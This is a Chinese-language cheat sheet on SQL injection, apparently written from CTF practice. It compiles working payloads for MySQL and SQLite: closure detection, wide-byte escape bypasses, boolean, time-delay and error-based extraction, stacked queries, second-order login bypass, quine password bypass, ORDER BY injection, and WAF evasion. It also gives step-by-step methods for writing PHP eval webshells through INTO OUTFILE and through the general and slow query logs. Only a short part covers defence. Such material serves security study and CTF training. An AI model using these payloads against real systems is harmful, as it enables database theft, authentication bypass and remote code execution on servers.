sql注入总结
常用闭合方式判断
判断闭合方式,目前掌握的闭合方式为单引号’’,单引号括号(’’),双引号””,双引号括号(“”),都不行的话试试宽字节注入
当单引号或者双引号出现回显或者语法错误时,如何判断是否带括号呢?
抄袭一波大神的判断方式
遇到SQL注入第一步判断闭合:
首先尝试:
?id=1’
?id=1”
1如果都报错,则为整形闭合。
2如果单引号报错,双引号不报错。
然后尝试
?id=1’ –+
?id=1’ #
无报错则单引号闭合。
报错则单引号加括号。
3如果单引号不报错,双引号报错。
然后尝试
?id=1” –+
?id=1” #
无报错则双引号闭合。
报错则双引号加括号。
输入(其中id=1,1是正确的数据库存在的值),正常回显
?id=1 and true –+
或者
?id=true and true –+
输入,错误回显
?id=1 and false –+
或者
?id=true and false –+
那么就是整形闭合
输入(其中id=1,1是正确的数据库存在的值),正常回显
?id=1’ and true –+
或者
?id=true‘ and true –+
输入,错误回显
?id=1’ and false –+
或者
?id=true‘ and false –+
那么就是单引号闭合,其他符号同理
单引号转义绕过
当时用单引号’,代码转义为\’,就使用如下方式替换掉单引号
%df%27
�’
%EF%BF%BD
万能密码
�’ and1=1 #
database()
返回当前数据库名
version()
返回数据库的版本号
CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串
CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符
LIMIT
mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15
//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.
//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行
//换句话说,LIMIT n 等价于 LIMIT 0,n。
mid() substr()
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度
ASCII
返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:
SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;
count
返回查询的记录总数,expression 参数是一个字段或者 * 号
返回 Products 表中 products 字段总共有多少条记录:
SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;
所以,只要发现有SQL注入,我们可以操纵SQL语句,将mysql数据库的库,表,字段一个一个查询出来
实在不行的话,试一下弱密码
payload
1 | -1' or 1=if(ascii(substr((database()),1,1))>1000,0,1)# |
注意有可能爆出来中文…………,可以直接regexp或者like匹配到flag,或者16进制编码处理一下
1 | mysql.innodb_table_stats |
sqlmap工具的详细使用
注入参数
1 | -u #注入点 |
post传参
抓包,保存为txt文件
1 | python3 sqlmap.py -r 1.txt -p 参数名 |
自定义脚本tamper
insert注入
insert用法
sql语句为
1 | INSERT INTO Student VALUES ('bob', '15', '99') |
当然也可在指定的列中插入数据,例如
1 | INSERT INTO Student(name,age) VALUES ('bob', '15') |
同时,insert还可以在数据库查询语句中用作字符串替换,例如:
1 | select insert("admin", 1, 1, ""); |
上述语句查询结果为:
可以看见,insert语句可以将字符串指定位置的指定长度替换为指定字符串,该功能的insert语法为:
1 | INSERT(s1,x,len,s2) |
其中的s1为目标字符串,x为替换的起始位置,len为替换的长度,s2为替换的字符串。通过改变len的值,可以获取到不同长度的字符串:
insert进行盲注爆破
那么,如果将两个insert套起来,是不是就相当于字符串的分割了呢,在第一个insert得到的字符串在进行一次insert的字符串替换,是不是就相当于字符串分割了,例如,输入语句:
1 | select insert(insert("admin", 1, 0, ""), 2, 99999, ""); |
其运行结果为:
这样,就可以很好的进行盲注的爆破了,并且insert语句也不易被检测到。
1 | insert into member(username,id) values('' or updatexml(1,concat(0x7e,(database())),0) or'' , '1') |
payload
1 | '' or updatexml(1,concat(0x7e,(命令)),0) or'' |
利用name_const()获取数据
name_const()函数是 MYSQL5.0.12 版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
Payload:
1 | or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or |
Insert:
1 | INSERT INTO users (id, username, password) VALUES (1,'micgo' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo'); |
update:
1 | UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo'; |
delete:
1 | DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or ''; |
提取数据:
在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。在这里我使用MySQL5.0.45进行演示。
首先,我们做一个简单的SELECT查询,检查我们是否可以提取数据。
1 | INSERT INTO users (id, username, password) VALUES (1,'micgo' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo'); |
如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就不行了
如果显示ERROR 1060 (42S21): Duplicate column name ‘2’,就可以进一步获取更多数据
获取newdb数据库表名:
1 | INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo'); |
获取users表的列名:
1 | INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo'); |
获取users表的数据:
1 | INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit |
首先逐个测试闭合点,然后用/* */注释符找出先后顺序,然后进行注入
1 | comment=123'/*&name=*/,(select database()),'micgo')%23 & user=123 |
update注入
update语句的格式一般为:
1 | update <table_name> set column = where <条件> |
delete注入
delete语句一般为:
1 | delete from <table_name> where <条件> |
原理还是和上面一样,只是这个要注意一下不要把数据库里面的内容删了,所以一定要保持最后逻辑表达式的结果为假。or连接词慎用。
1 | 1 and sleep(3) 结果为假 |
堆叠注入
newstart multiSQL
根据题目翻译考的是堆叠注入,试了一下果然可以,题目要求把火华师傅的四级成绩改到425分以上,发现union,select,update,insert
都被过滤了,这里我们可以利用replace into
(替换插入) 进行数据修改,再利用delete
删除原数据:
1 | POST: |
操作完以后,点击验证数据就可以拿到flag,复现的时候注意中文符号以及不要重复多次执行sql语句,有可能有奇奇怪怪的错误。
宽字节注入
宽字节概念
单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)。
多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。
函数addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。预定义字符:单引号(’),双引号(”),反斜杠(\)
替换反斜杠,反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0等都可以组成一个汉字,从而把反斜杠给吃掉
1 | Payload:?id=%E0' or sleep(3)%23 |
延时注入总结
逐字注入
能够截取字符串,同时能触发延时即可!
1 | Select *from table Where id =1 and (if(substr(database(),1,1)='u', sleep(3), null)); |
BENCHMARK
除了sleep之外的时间延时注入,还有:BENCHMARK(count,expr)
BENCHMARK()函数重复 count次执行表达式expr。它可以被用于计算 MYSQL处理表达式的速度。结果值通常为0。
1 | select benchmark(100000000,sha(1)); |
笛卡尔积
1 | select count(*) from user A,user B; |
GET_LOCK
除了sleep之外的时间延时注入,还有:GET_LOCK(str,timeout)
函数使用说明:设法使用字符串str给定的名字得到一个锁,超时为timeout秒。
1 | Select GET_LOCK('a',10) |
注意:设置锁后,需要新开 一 个窗口并且是长连接才会有效。
RLIKE
除了sleep之外的时间延时注入,还有RLKE。
通过 rpad 或 repeat 构造长字符串,加以计算量大的 pattern,通过repeats的参数可以控制延时长短。
1 | select concat (rpad (1,999999,a),rpad (1,999999,a),rpad(1,999999,a) ,rpad(1,999999,a) |
报错注入
报错注入条件: 后台没有屏蔽数据库报错信息,在语法发生错误的时候会输出在前端
常用四个报错函数
1 | updatexml() xpath报错注入 updatexml(1,concat(0x7e,database()),0) |
floor() mysql的一个取整函数
1 | id=-1' union select count(*),concat(database(),0x7e,floor(rand(0)*2))a from information_schema.schemata group by a; |
分析:
rand()函数可以产生一个在0和1之间的随机数
但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,称之为伪随机
floor函数的作用就是返回小于等于括号内该值的最大整数,rand()本身是返回0~1的随机数,但在后面*2就变成了返回0~2之间的随机数,配合上floor函数就可以产生确定的两个数,即0和1,并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值 此处的czs表为含有四行数据的表,结合上述的函数,每次产生的随机数列都是 0 1 1 0 ![img](https://my-blog-1309286065.cos.ap-guangzhou.myqcloud.com/img/1838324-20200430013827951-1006107102.png)综合使用产生报错select count(*),floor(rand(0)*2)x from czs group by x;
当count(*)和group by x同时执行时,就会爆出duplicate entry错误, 通过 floor 报错的方法来爆数据的本质是 group by 语句的报错
mysql报错注入修复方法:
1 | 1. 屏蔽能造成报错注入的各种函数 |
二次注入
在输入的时候进行了处理,但是在取出数据的时候没有进行检验
用户名和密码分开检验
也就是说它是先检验username,把username对应的所有字段都查出来后,再检验密码能不能和查出来的密码对上,检验密码的过程可能会有一个md5的加密
登录验证的流程已经说清楚了,先做一个小测试
如果执行一个查询语句:
1 | select * from user where username = 0 union select 1,'admin',md5('abc'); |
则会返回以下结果:
这样的话思路就很清晰了,我们先在用户名处输入1' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'#
,得到的是上图的结果。密码处我们再输入一个上图密码md5加密之前的密码也就是abc 即可绕过检验,成功登陆admin账户
Payload:
1 | username = 1' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'# |
SQL注入写shell
into outfile写shell
条件:
1、知道web绝对路径
2、有文件写入权限(一般情况只有root用户有)
3、数据库开启了
secure_file_priv
设置
secure_file_priv 查询语句:show global variables like "secure%";
1 | NULL 禁止限制操作 |
secure_file_priv只能通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量
1 | show variables like "%secure%"; |
然后就能用select into outfile
写入webshell
常见手法:
联合注入写入
1 | ?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'# |
dumpfile
函数写入
1 | ?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'# |
lines terminated by 写入
1 | ?id=1 into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>'; |
lines starting by 写入
1 | ?id=1 into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>'; |
fields terminated by 写入
1 | ?id=1 into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>'; |
columns terminated by 写入
1 | ?id=1 into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>'; |
sqlmap写入
1 | 写入到 /tmp 目录下 (要写的文件,必须在kali本机里有) |
读文件
1 | select load_file('文件名'); |
日志写shell
MySQL的两个全局变量:
1 | general_log 日志保存状态,一共有两个值(ON/OFF) |
如果目前这个general_log
为off状态,那么日志就没有被记录进去,所以要先打开这个全局变量
1 | set global general_log='on'; |
打开过后,不管sql语句是否正确,日志文件中都会记录我们写的sql语句
接下来修改general_log_file
,可以直接通过SQL语句修改,并且必须修改为如.php
后缀的文件,不然马不能被解析
1 | set global general_log_file='C:\\phpstudy\\phpstudy_pro\\Extensions\\MySQL5.7.26\\log.php'; |
接下来使用 select '<?php @eval($_POST[cmd]);?>';
查询语句,其实就是写马,让日志文件众留下这样一句查询语句
但是最后也要考虑能不能成功的连接到马,像如果secure_file_priv
固定为C:\,而网站是搭在D盘上,那把general_log_file
修改为C盘下的文件也连接不到,除非还有文件包含漏洞等
这里还得修改日志文件log.php的路径,让他在网站目录下才能成功连接
成功连接
利用条件
条件比较苛刻
(1)union注入在这里行不通。要日志写马能够连接必须要修改general_log_file
为比如php
后缀的文件,不然马不能被解析,所以必须要先用到set global general_log_file='xx.php';
,那么union注入就没机会了,union基本都是?id=1 union select 1,2,select '';
这样,不能执行set
的
(2)有堆叠注入,要先?id=1;set global general_log_file='xx.php';
,然后直接执行?id=1;select '木马';
不过要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query()
。一般后台查询数据库使用的语句都是用mysql_query()
,所以堆叠注入在mysql上不常见。
(3)再者就是成功登录到别人的数据库里了,先set global general_log_file='xx.php';
,然后直接执行select '木马';
(4)没有对 '
和 "
进行过滤,因为outfile后面的物理路径必须要有引号
慢查询日志写shell
MySQL日志主要包含: 错误日志、查询日志、慢查询日志、事务日志。在 5.6.34版本以后secure_file_priv的值默认为NULL
MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句,long_query_time的默认值为10,意思是运行10S以上的语句。运行时间超过long_query_time值的SQL会被记录到慢查询日志中。使用慢查询主要针对日志量庞大,通过日志文件getshell出现问题的情况
1 | show variables like '%slow%'; |
1 | set GLOBAL slow_query_log_file='C:\\phpstudy\\phpstudy_pro\\WWW\\slow.php'; //原理同上 |
若对敏感字符进行过滤,可以采用字符串拼接(concat) 字符串替换(replace)
1 | set global general_log_file =CONCAT("/var/www/html/shell.p","hp"); |
quine注入
Quine
又叫做自产生程序,在sql
注入技术中,这是一种使得输入的sql
语句和输出的sql
语句一致的技术,常用于一些特殊的登陆绕过sql
注入中。
1 | //官方payload |
防御注入
预编译和参数绑定
转义单引号,统一php和Mysql的字符集
过滤敏感字符
第三届第五空间yet_another_mysql_injection
1 | function checkSql($s) { |
上面php
代码逻辑实现了一个通过POST
提交登录请求的方法,要求username
必须为admin
,密码需要与查询到的password
一致,才能拿到flag
。
其实如果直接看这道题其实给出了所使用的sql
语句,在语句中给出了表user
,包括黑名单也在checkSql
中都已经给出了,那么按理看这不是一个困难的注入,可以当成一个简单的盲注。通过使用like
替换=
,benchmark
(或者其他笛卡儿积等)替换sleep
,mid
替换substr
,/**/
替换Space
,使用如下paload
即可完成:
1 | union select if((select ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema like database()),{},1)) like {}),(select benchmark(4999999,md5('test'))),1)# |
但是很遗憾,这样注出来user
表中没有密码。
如果仔细看题目中这个比较判断的逻辑,我们就可以发现端倪。
1 | $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; |
简单来看,要求的是执行$sql
的结果与$password
相同,那么除了正常逻辑的密码相同会产生相等,如果我们的输入与最后的结果相等,那么一样可以绕过验证。这种技术就是Quine
。
示例payload:
1 | union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r# |
这样看起来不是很清楚,我们接下来从内层一步一步拆开看。
从大结构上,这段payload是由两个大REPLACE完成的
1 | REPLACE ( string_expression , string_pattern , string_replacement ) |
内层REPLACE
:
1 | REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)) |
我们暂且把它当作A
,这里面有个字符串:
1 | "/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r# |
我们暂且把它当作B
。
简化一下最初的payload
就是这个样子:
1 | union/**/SELECT/**/REPLACE(A,CHAR(46),B)/**/AS/**/ch3ns1r# |
到这里应该就看的比较清楚了,有点像套娃。A
这个形式就是Quine
的基本形式,可以描述为如下形式:
1 | REPLACE(str,编码的间隔符,str) |
str
可描述为如下形式:
1 | REPLACE(间隔符,编码的间隔符,间隔符) |
这样运算后,最后的结果又是:
1 | REPLACE(str,编码的间隔符,str) |
我们举个例子加深理解,设间隔符为'.'
,编码的间隔符为CHAR(46)
,那么str
为:
1 | REPLACE(".",CHAR(46),".") |
放入最后的语句为:
1 | REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
执行的结果为(先执行的CHAR(46)
):
1 | REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
(注意以上的语句还没有考虑存在单双引号的情况)
这样就达到了输入与输出一致的效果。
1 | MySQL localhost:3306 ssl SQL > SELECT REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")'); |
解决单双引号
细心点的话就会发现,这里还存在单双引号的问题,我们重新考虑存在单双引号的情况。
Quine
的基本形式:
1 | REPLACE('str',编码的间隔符,'str') |
str
描述为如下形式:
1 | REPLACE("间隔符",编码的间隔符,"间隔符") |
这里str
中的间隔符使用双引号的原因是,str
已经被单引号包裹,为避免引入新的转义符号,间隔符需要使用双引号。
运算后的结果是:
1 | REPLACE("str",编码的间隔符,"str") |
但是我们希望str
仍然使用单引号包裹,怎么办?
我们这样考虑,如果先使用REPLACE
将str
的双引号换成单引号,这样最后就不会出现引号不一致的情况了。
Quine
的升级版基本形式:
1 | REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str') |
str
的升级版形式:
1 | REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符") |
这里的CHAR(34)
是双引号,CHAR(39)
是单引号,如果CHAR
被禁了0x22
和0x27
是一样的效果。
这里我们慢一点。
第一步:
1 | REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符") |
第二步:
1 | REPLACE('单引号str',编码的间隔符,'str') |
我们同样举刚才的例子,设间隔符为'.'
,编码的间隔符为CHAR(46)
,那么str
为:
1 | REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") |
放入最后的语句为:
1 | REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
执行的结果为(先执行的内层REPLACE
):
1 | REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
实际结果:
1 | MySQL localhost:3306 ssl SQL > SELECT REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")'); |
现在就完全一致了。
排序注入
在SQL语言中,Order By语句主要用于对结果集进行排序。既然跟数据库交互有关,自然而然就会想到SQL注入的防护问题,第一时间想到的方案就是预编译了。但是采用预编译执行SQL语句传入的参数不能作为SQL语句的一部分,,那么Order By后的字段名、或者是 desc\asc 也不能预编译处理,那么也就是说Order By场景的排序规则还是只能使用拼接,这时候如果在开发阶段没有处理好,那么就很可能导致SQL注入问题了。排序也一直是注入的重灾区。
挖掘思路
存在关键参数值 desc
如下图
检测方法
1 | ,1 && ,0 |
异或
三、排序注入挖掘
这里使用的是 exp() //数值大于709就会溢出
Poc: AdminID+desc,exp(7)
Poc:AdminID+desc,exp(710)
此时不难发现,溢出时,响应时间比较长
所以在盲注中,建议条件为真时溢出
Poc 开始变形
Poc:AdminID+desc,if(user()+like+’r%’,exp(710),exp(7))
Poc:AdminID+desc,if(user()+like+’c%’,exp(710),exp(7))
四、排序注入—补充
1、因果的因
最近碰到挺多排序注入(关键字:orderby,desc,asc等)构造的poc大多为
1 | 1,if(1,exp(789),1) |
(poc的书写取决于站点是否对相关函数、单引号有所拦截)
总之都是利用盲注的方式来获取数据,从基础的poc fuzz到poc2、poc3甚至poc4,取决于waf的强弱、个人习惯。
2、因果的果
图一是使用报错注入获取用户名
图二是验证此poc是否可用(图一图二是同一系统不同的注入点)
图三是在有waf的情况下使用
无列名注入
1 | 0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/union/**/select/**/1,2,3/**/'1 |
NCTF2022
mod_security防火墙
NCTF遇到的一个很恶心的waf
用1.e可以绕过
1 | -1 or 1.e(updatexml(1,concat(0x7,substring((select(password)from info),1,50)),0)) |
sqlmap一把嗦……靠
官方payload
1 | @.:=right(right((select hex(password) from users.info where id =1 limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@. |
不过还是能学到一种新姿势 gtid_subset()
1 | gtid_subset(concat(0x7e,(select/**/database/**/()),0x7e),71) |
新型sql
foodAPI存在语法bug,参考这道题目:https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/
这两种不会出错
1 | select id from food where `not_exist'` and 0 union select 1; |
payload:
1 | /flight?id=1&?=`in()+union+select+1,flag+from+flag; |
官方wp:
deno的day,和去年出的ez_sql有点像。
两个问题:
一是SQL语句build的方式。
二是参数注入后列名中会产生带有引号的不存在的列名。
SQLite where子句中的in()会被忽略,利用这一点可以解决第二个问题。
第一个问题通过源码不难发现在生成最终的SQL语句时,使用了?作为占位符,因此可以通过在列名中传入?造成注入。
payload:
1 | flight??=`in()%20union%20select%202333,flag%20from%20flag; |